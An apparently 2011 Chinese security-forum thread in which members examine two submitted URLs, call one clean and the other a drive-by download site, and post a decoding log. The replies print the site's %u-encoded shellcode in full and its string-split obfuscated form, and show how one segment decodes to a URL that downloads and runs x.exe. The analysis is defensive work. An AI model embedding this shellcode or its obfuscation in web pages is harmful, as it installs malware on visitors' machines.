挂马网站【1 clean】【2 挂马】【by 帅就是帅】

显示全部楼层 · 发表于 2011-12-5 01:35:07

本帖最后由疯狂的小鬼于 2011-12-5 20:05 编辑

hssp://www.wojucn.com/
hssp://www.tssgh.com.cn/down/b6.htm
截图00.jpg

显示全部楼层 · 发表于 2011-12-5 02:28:09

本帖最后由帅就是帅于 2011-12-5 03:04 编辑

第一个，clean；
第二个，挂马。
另外，如果是要鉴定两个网址请发两帖，不然这标题就难修改了。。。

关于:hxxp://www.tssgh.com.cn/down/b6.htm解密的日志(全体输出 -  7):

Level  0>hxxp://www.tssgh.com.cn/down/b6.htm
Level  1>hxxp://www.tssgh.com.cn/down/b1.txt
Level  1>hxxp://www.tssgh.com.cn/down/b2.txt
Level  1>hxxp://www.tssgh.com.cn/down/b3.txt
Level  1>hxxp://www.tssgh.com.cn/down/b4.txt
Level  2>hxxp://www.tssgh.com.cn/down/x.exe
Level  1>hxxp://www.tssgh.com.cn/down/b5.txt

Analyzed by 叉就是叉

%u5858%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDBE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ucec9%udace%u93d5%ud2de%u93d0%ud3de%ud992%ucad2%u92d3%u93c5%uc5d8%ubdd8

复制代码

显示全部楼层 · 发表于 2011-12-5 14:52:32

第一个火狐浏览器拦截第2个 QQ电脑管家拦截

显示全部楼层 · 发表于 2011-12-5 19:43:13

本帖最后由疯狂的小鬼于 2011-12-5 20:08 编辑

http://www.tssgh.com.cn/down/b2.txt中
替换nbooom[0]+nbooom[1] 为%u  去除连接+ 和引号发现没有  那么类似的应该也没有

nbooom[1]+"8"+"EE"+"C"+nbooom[0]+nbooom[1]+"3"+"67"+"D"+nbooom[0]+nbooom[1]+"E"+"5F"+"B"+nbooom[0]+nbooom[1]+"9"+"F5"+"5"+nbooom[0]+nbooom[1]+"B"+"DB"+"C"+nbooom[0]+nbooom[1]+"3"+"EB"+"D"+nbooom[0]+nbooom[1]+"B"+"D4"+"5"+nbooom[0]+nbooom[1]+"1"+"E5"+"4"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"2D"+"BD"+nbooom[0]+nbooom[1]+"BD"+"D7"+nbooom[0]+nbooom[1]+"BD"+"D7"+nbooom[0]+nbooom[1]+"BE"+"D7"+nbooom[0]+nbooom[1]+"BD"+"D7"+nbooom[0]+nbooom[1]+"BF"+"D7"+nbooom[0]+nbooom[1]+"BDD5"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"EE7D"+nbooom[0]+nbooom[1]+"FB"+"36"+nbooom[0]+nbooom[1]+"5599"+nbooom[0]+nbooom[1]+"BC"+"BC"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"FB"+"34"+nbooom[0]+nbooom[1]+"D7DD"+nbooom[0]+nbooom[1]+"ED"+"BD"+nbooom[0]+nbooom[1]+"EB42"+nbooom[0]+nbooom[1]+"34"+"95"+nbooom[0]+nbooom[1]+"D9FB"+nbooom[0]+nbooom[1]+"FB"+"36"+nbooom[0]+nbooom[1]+"D7DD"+nbooom[0]+nbooom[1]+"D7"+"BD"+nbooom[0]+nbooom[1]+"D7BD"+nbooom[0]+nbooom[1]+"D7"+"BD"+nbooom[0]+nbooom[1]+"D7B9"+nbooom[0]+nbooom[1]+"ED"+"BD"+nbooom[0]+nbooom[1]+"EB42"+nbooom[0]+nbooom[1]+"D7"+"91"+nbooom[0]+nbooom[1]+"D7BD"+nbooom[0]+nbooom[1]+"D7"+"BD"+nbooom[0]+nbooom[1]+"D5BD"+nbooom[0]+nbooom[1]+"BD"+"A2"+nbooom[0]+nbooom[1]+"BDB2"+nbooom[0]+nbooom[1]+"42"+"ED"+nbooom[0]+nbooom[1]+"81EB"+nbooom[0]+nbooom[1]+"FB"+"34"+nbooom[0]+nbooom[1]+"36C5"+nbooom[0]+nbooom[1]+"D9"+"F3"+nbooom[0]+nbooom[1]+"C13D"+nbooom[0]+nbooom[1]+"42"+"B5"+nbooom[0]+nbooom[1]+"C909"+nbooom[0]+nbooom[1]+"3D"+"B1"+nbooom[0]+nbooom[1]+"B5C1"+nbooom[0]+nbooom[1]+"BD"+"42"+nbooom[0]+nbooom[1]+"B8C9"+nbooom[0]+nbooom[1]+"C9"+"3D"+nbooom[0]+nbooom[1]+"42B5"+nbooom[0]+nbooom[1]+"5F"+"09"+nbooom[0]+nbooom[1]+"3456"+nbooom[0]+nbooom[1]+"3D"+"3B"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"7A"+"BD"+nbooom[0]+nbooom[1]+"CDFB"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"FB"+"7A"+nbooom[0]+nbooom[1]+"BDC9"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"D7BD"+nbooom[0]+nbooom[1]+"D7"+"BD"+nbooom[0]+nbooom[1]+"D7BD"+nbooom[0]+nbooom[1]+"36"+"BD"+nbooom[0]+nbooom[1]+"DDFB"+nbooom[0]+nbooom[1]+"42"+"ED"+nbooom[0]+nbooom[1]+"85EB"+nbooom[0]+nbooom[1]+"3B"+"36"+nbooom[0]+nbooom[1]+"BD3D"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"BDD7"+nbooom[0]+nbooom[1]+"F3"+"30"+nbooom[0]+nbooom[1]+"ECC9"+nbooom[0]+nbooom[1]+"CB"+"42"+nbooom[0]+nbooom[1]+"EDCD"+nbooom[0]+nbooom[1]+"CB"+"42"+nbooom[0]+nbooom[1]+"42DD"+nbooom[0]+nbooom[1]+"8D"+"EB"+nbooom[0]+nbooom[1]+"CB42"+nbooom[0]+nbooom[1]+"42"+"DD"+nbooom[0]+nbooom[1]+"89EB"+nbooom[0]+nbooom[1]+"CB"+"42"+nbooom[0]+nbooom[1]+"42C5"+nbooom[0]+nbooom[1]+"FD"+"EB"+nbooom[0]+nbooom[1]+"4636"+nbooom[0]+nbooom[1]+"7D"+"8E"+nbooom[0]+nbooom[1]+"668E"+nbooom[0]+nbooom[1]+"51"+"3C"+nbooom[0]+nbooom[1]+"BFBD"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"7136"+nbooom[0]+nbooom[1]+"45"+"3E"+nbooom[0]+nbooom[1]+"C0E9"+nbooom[0]+nbooom[1]+"34"+"B5"+nbooom[0]+nbooom[1]+"BCA1"+nbooom[0]+nbooom[1]+"7D"+"3E"+nbooom[0]+nbooom[1]+"56B9"+nbooom[0]+nbooom[1]+"36"+"4E"+nbooom[0]+nbooom[1]+"3671"+nbooom[0]+nbooom[1]+"3E"+"64"+nbooom[0]+nbooom[1]+"AD7E"+nbooom[0]+nbooom[1]+"7D"+"8E"+nbooom[0]+nbooom[1]+"ECED"+nbooom[0]+nbooom[1]+"ED"+"EE"+nbooom[0]+nbooom[1]+"EDED"+nbooom[0]+nbooom[1]+"ED"+"ED"+nbooom[0]+nbooom[1]+"EAED"+nbooom[0]+nbooom[1]+"ED"+"ED"+nbooom[0]+nbooom[1]+"EB42"+nbooom[0]+nbooom[1]+"36"+"B5"+nbooom[0]+nbooom[1]+"E9C3"+nbooom[0]+nbooom[1]+"AD"+"55"+nbooom[0]+nbooom[1]+"BDBC"+nbooom[0]+nbooom[1]+"55"+"BD"+nbooom[0]+nbooom[1]+"BDD8"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"DED5"+nbooom[0]+nbooom[1]+"CA"+"CB"+nbooom[0]+nbooom[1]+"D5BD"+nbooom[0]+nbooom[1]+"D5"+"CE"+nbooom[0]+nbooom[1]+"D2D9"+nbooom[0]+nbooom[1]+"36"+"E9"+nbooom[0]+nbooom[1]+"B1FB"+nbooom[0]+nbooom[1]+"99"+"55"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"34"+"BD"+nbooom[0]+nbooom[1]+"81FB"+nbooom[0]+nbooom[1]+"1C"+"D9"+nbooom[0]+nbooom[1]+"BDB9"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"1D30"+nbooom[0]+nbooom[1]+"42"+"DD"+nbooom[0]+nbooom[1]+"4242"+nbooom[0]+nbooom[1]+"D8"+"D7"+nbooom[0]+nbooom[1]+"CB42"+nbooom[0]+nbooom[1]+"36"+"81"+nbooom[0]+nbooom[1]+"ADFB"+nbooom[0]+nbooom[1]+"B5"+"55"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"8E"+"BD"+nbooom[0]+nbooom[1]+"EE66"+nbooom[0]+nbooom[1]+"EE"+"EE"+nbooom[0]+nbooom[1]+"42EE"+nbooom[0]+nbooom[1]+"3D"+"6D"+nbooom[0]+nbooom[1]+"5585"+nbooom[0]+nbooom[1]+"85"+"3D"+nbooom[0]+nbooom[1]+"C854"+nbooom[0]+nbooom[1]+"3C"+"AC"+nbooom[0]+nbooom[1]+"B8C5"+nbooom[0]+nbooom[1]+"2D"+"2D"+nbooom[0]+nbooom[1]+"2D2D"+nbooom[0]+nbooom[1]+"B5"+"C9"+nbooom[0]+nbooom[1]+"4236"+nbooom[0]+nbooom[1]+"36"+"E8"+nbooom[0]+nbooom[1]+"3051"+nbooom[0]+nbooom[1]+"B8"+"FD"+nbooom[0]+nbooom[1]+"5D42"+nbooom[0]+nbooom[1]+"1B"+"55"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"7E"+"BD"+nbooom[0]+nbooom[1]+"1D55"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"05BD"+nbooom[0]+nbooom[1]+"BC"+"AC"+nbooom[0]+nbooom[1]+"3DB9"+nbooom[0]+nbooom[1]+"B1"+"7F"+nbooom[0]+nbooom[1]+"55BD"+nbooom[0]+nbooom[1]+"BD"+"2E"+nbooom[0]+nbooom[1]+"BDBD"+nbooom[0]+nbooom[1]+"51"+"3C"+nbooom[0]+nbooom[1]+"BCBD"+nbooom[0]+nbooom[1]+"BD"+"BD"+nbooom[0]+nbooom[1]+"4136"+nbooom[0]+nbooom[1]+"7A"+"3E"+nbooom[0]+nbooom[1]+"7AB9"+nbooom[0]+nbooom[1]+"8F"+"BA"+nbooom[0]+nbooom[1]+"2CC9"+nbooom[0]+nbooom[1]+"7A"+"B1"+nbooom[0]+nbooom[1]+"B9FA"+nbooom[0]+nbooom[1]+"34"+"DE"+nbooom[0]+nbooom[1]+"F26C"+nbooom[0]+nbooom[1]+"FA"+"7A"+nbooom[0]+nbooom[1]+"1DB5"+nbooom[0]+nbooom[1]+"2A"+"D8"+nbooom[0]+nbooom[1]+"7A";

------------------------------------

http://www.tssgh.com.cn/down/b3.txt  中最后一段

"%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ucec9%udace%u93d5%ud2de%u93d0%ud3de%ud992%ucad2%u92d3%u93c5%uc5d8%ubdd8";

——————————>fhttp://www.tssgh.com.cn/down/x.exe

最终

关于:hxxp://www.tssgh.com.cn/down/b6.htm解密的日志(全体输出 -  7):

Level  0>hxxp://www.tssgh.com.cn/down/b6.htm
Level  1>hxxp://www.tssgh.com.cn/down/b5.txt
Level  1>hxxp://www.tssgh.com.cn/down/b4.txt
Level  1>hxxp://www.tssgh.com.cn/down/b3.txt
Level  2>hxxp://www.tssgh.com.cn/down/x.exe
Level  1>hxxp://www.tssgh.com.cn/down/b2.txt
Level  1>hxxp://www.tssgh.com.cn/down/b1.txt

日志由 Redoce2.1第25次修正版于 2011-12-5 19:50:31 生成。